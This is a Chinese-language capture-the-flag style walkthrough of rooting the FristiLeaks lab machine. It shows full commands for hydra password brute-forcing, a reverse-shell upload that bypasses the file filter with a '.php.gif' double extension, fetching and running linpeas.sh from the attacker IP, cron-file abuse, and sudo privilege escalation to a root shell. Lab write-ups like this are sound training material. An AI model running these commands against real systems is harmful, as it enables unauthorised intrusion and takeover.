渗透思路:
nmap扫描----->查看robots.txt,并根据主页信息推测出admin portal的url----->查看网页源代码,分析注释,base64解码出包含重要信息的png图片----->hydra暴力破解网站用户名密码(其实不需要暴力破解)----->利用文件上传(apache httpd多后缀文件解析漏洞)获得反弹shell----->利用定时文件修改目录权限----->编写python脚本解码,得到admin和fristigod的密码----->sudo提权获得root权限
环境信息:
靶机ip:192.168.101.43
攻击机ip:192.168.101.25
具体步骤:
步骤1:nmap扫描
sudo nmap -sS -A -p- 192.168.101.43
扫半天扫出个80端口。nmap还不错哦,扫出来个robots.txt
步骤2:根据主页信息和robots.txt推测出admin portal的url
主页粉粉的真好看,这么大的座右铭一定有用
http://192.168.101.43/robots.txt 有三个不让爬虫扫描的目录
这三个目录下都是同一张图
有点英语基础在身上的至少知道cola和beer是饮料,结合主页巨大的座右铭,drink fristi,难不成,应该访问http://192.168.101.43/fristi
还真是,得到了admin portal的登录页面
步骤3:查看网页源代码,分析注释
在http://192.168.101.43/fristi页面右键查看网页源代码,发现两段注释
第一段是个TODO list,是eezeepz写的,意思是他为了测试方便留了点东西在这儿,生产环境中需要删除。
第二段看上去是base64编码的
把这段注释中的base64编码的字符串保存到文件p2.txt中,并用base64 -d命令进行解码
base64 -d p2.txt
看到解码的结果第一行有个PNG,把结果保存为.png格式试试
base64 -d p2.txt > p2.png
打开p2.png看看,内容是keKkeKKeKKeKkEkkEk,备用
步骤4:hydra暴力破解网站用户名密码(其实不需要暴力破解TAT)
在http://192.168.101.43/fristi随便输入个用户名密码,点Login之后会提示用户名或密码错误。那这种报错情况就得同时暴力破解用户名和密码了。
burp抓到的报文如下,登录参数发往http://192.168.101.43/fristi/checklogin.php,用户名参数名为myusername,密码参数名为mypassword
来生成用户名和密码字典,使用cewl命令把网站首页上超过4个字母的单词扒拉下来
cewl http://192.168.101.43 -m 4 -w fristi.txt
看看fristi.txt,里面都是纯英文单词,没有数字和符号
我手工把数字加上了 TAT
把上一步注释中的eezeepz和图片中的keKkeKKeKKeKkEkkEk加上
用hydra爆破
hydra -L fristi.txt -P fristi.txt 192.168.101.43 http-post-form "/fristi/checklogin.php:myusername=^USER^&mypassword=^PASS^&Submit=Login:Wrong"
破解出来用户名是 eezeepz 密码是 keKkeKKeKKeKkEkkEk
步骤5:利用文件上传获得反弹shell
用上一步爆破出的用户名密码登录网站之后,发现可以上传文件
先上传一个php文件试试,我上传的文件名叫php-reverse.php,是用kali自带的反弹shell : /usr/share/webshells/php/php-reverse-shell.php修改了$ip和$port的值之后得到的
上传失败,提示只能上传jpg,png,gif
分析一下,从错误提示看,没有弹框,不像是前端过滤,并且明确提示了可以上传的文件类型,有可能是需要进行MIME绕过,或者magic number绕过,或者文件类型白名单绕过,或者兼而有之。
先试试简单的修改MIME、magic number
如下图所示Content-Type改为image/gif,文件内容最前面加GIF89a,发送请求报文之后,还是上传文件失败,看来文件后缀白名单绕过是逃不掉了。
先试试直接把文件后缀改成.gif,发送请求报文后,提示上传成功,文件被保存在/uploads文件夹下
浏览器访问 http://192.168.101.43/fristi/uploads/php-reverse.gif,并没有触发反弹shell
步骤1中nmap扫描出来靶机的web服务器是apache httpd,由于用户的不安全配置,是可能出现多后缀文件解析漏洞的。一种可能性是从右向左读文件后缀,直到读到可解析的后缀为止,另一种就像下面这篇博文写的,只要多个后缀中包含一个.php,就会被解析为php。
apache httpd多后缀解析漏洞复现 - 雨中落叶 - 博客园
因此,将发送的文件名改为 php-reverse.php.gif,发送成功
浏览器访问 http://192.168.101.43/fristi/uploads/php-reverse.php.gif
攻击机上监听端口得到反弹shell
步骤6:利用定时文件修改目录权限
首先进入/tmp目录,下载并执行linpeas.sh检查提权的可能路径,然而并没有得到啥有用的结果
wget http://192.168.101.25/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
查看/var/www,本来想看看有没有配置文件暴露mysql或者其他用户名和密码,结果没找到配置文件,找到个notes.txt,里面的信息指向eezeepz的home目录
根据提示进入/home/eezeepz目录,又发现一个notes.txt,这个信息量比较大,大意是说可以在/tmp/目录下创建一个叫runthis的文件,每行一个命令,这样每分钟这个文件就会以admin的身份执行一次。但是这个文件中使用的命令也是有限制的,chmod,df,cat,echo,ps,grep,egrep命令必须使用/home/admin目录下的,其他命令必须使用/usr/bin目录下的,并且runthis文件中出现的命令必须以完整路径的形式给出。
根据提示来到/tmp/下面,输入
echo "/home/admin/chmod 777 /home/admin;" >runthis
chmod +x runthis
创建了内容为/home/admin/chmod 777 /home/admin;,权限为777的文件runthis
等上个不到1分钟,就会出现cronresult文件,表示runthis已经被执行了,查看cronresult的内容可以知道runthis有没有被执行成功,如果失败是什么原因。
执行成功之后,原本没有权限的/home/admin目录就可以进入了。
步骤7:编写python脚本解码,得到admin和fristigod的密码
这个目录下有3个特别的文件,分别叫cryptedpass.txt,cryptpass.py和whoisyourgodnow.txt
看一下这三个文件的内容
cryptedpass.txt:
mVGZ3O3omkJLmy2pcuTq
whoisyourgodnow.txt:
=RFn0AKnlMHMPIzpyuTI0ITG
cryptpass.py:
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
cryptedpass.txt和whoisyourgodnow.txt的内容看起来像base64;再通过cryptpass.py的内容,大概就知道cryptedpass.txt和whoisyourgodnow.txt的内容到底是怎么回事了。
cryptpass.py中的python代码,首先将命令行输入的参数进行base64编码,结果倒序之后再进行rot13编码。
而cryptedpass.txt和whoisyourgodnow.txt中奇奇怪怪的内容可能就是用cryptpass.py处理了某个字符串之后的结果。
为了解码,在攻击机上新建一个文件decode.py,写入如下python代码:
import base64,codecs,sys
def decodeString(str):
base64string= codecs.decode(str, 'rot13')
string= base64.b64decode(base64string[::-1])
return string
Result=decodeString(sys.argv[1])
print Result
解码whoisyourgodnow.txt的内容
python decode.py =RFn0AKnlMHMPIzpyuTI0ITG
解码出来的结果是 LetThereBeFristi! ,这个是fristigod的密码
再解码cryptedpass.txt的内容
python decode.py mVGZ3O3omkJLmy2pcuTq
解码结果是 thisisalsopw123 ,这个是admin的密码
用su命令可以提权到admin或者fristigod
步骤8:sudo提权获得root权限
su到admin之后没有发现什么提权途径,su到fristigod之后,执行sudo -l发现fristigod可以sudo执行/var/fristigod/.secret_admin_stuff/doCom
执行
sudo /var/fristigod/.secret_admin_stuff/doCom
结果提示当前用户不能以root权限执行这个文件
试了几个用户之后,查看/etc/passwd发现有fristi用户
以这个用户的权限执行 /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
用法提示文件名之后要加上终端命令
执行
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
得到root权限